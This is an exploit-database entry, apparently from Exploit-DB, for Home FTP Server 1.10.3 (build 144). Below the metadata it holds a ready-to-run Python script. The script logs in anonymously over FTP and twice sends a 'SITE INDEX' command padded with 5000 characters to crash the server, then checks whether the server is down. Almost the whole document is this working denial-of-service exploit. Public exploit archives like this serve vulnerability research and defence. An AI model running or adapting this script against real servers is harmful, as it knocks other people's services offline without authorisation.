[] NeoSense

Home FTP Server 1.10.3 (build 144) - Denial of Service

Author: Dr_IDE
type: dos
platform: windows
port: 
date_added: 2010-05-27 
date_updated: 2016-11-16 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt13000/12774.png 
application_url: http://www.exploit-db.comHomeFtpServerInstall.exe

#!/usr/bin/python
###################################################################
#
# HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit
# Found By: Dr_IDE
# Date:     May 28, 2010
# Download: http://downstairs.dnsalias.net/products.html
# Tested:   Windows 7
#
###################################################################

import socket, sys

host = (sys.argv[1])
buff = ("A" * 5000)
cmds = ('SITE INDEX')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("\r\n[i] Connecting to: " + host +"\r\n")
print ("[*] Crashing server with command: " + cmds + "\r\n")

try:
	s.connect((host, 21))
	d=s.recv(1024)
	print (d)
	s.send("USER dr_ide\r\n") #anonymous login so anything goes
	d=s.recv(1024)
	print (d)
	s.send("PASS dr_ide\r\n")
	d=s.recv(1024)
	print (d)
	s.send(cmds + " " + buff + '\r\n')
	d=s.recv(1024)
	print (d)
	s.send(cmds + " " + buff + '\r\n') #Second time does the trick.
	d=s.recv(1024)
	print (d)
	s.close()

	try:
		s.connect((host,21))
	except:
		print ("\r\n[i] Success, Server is Down.")
except:
	print ("[i] Error")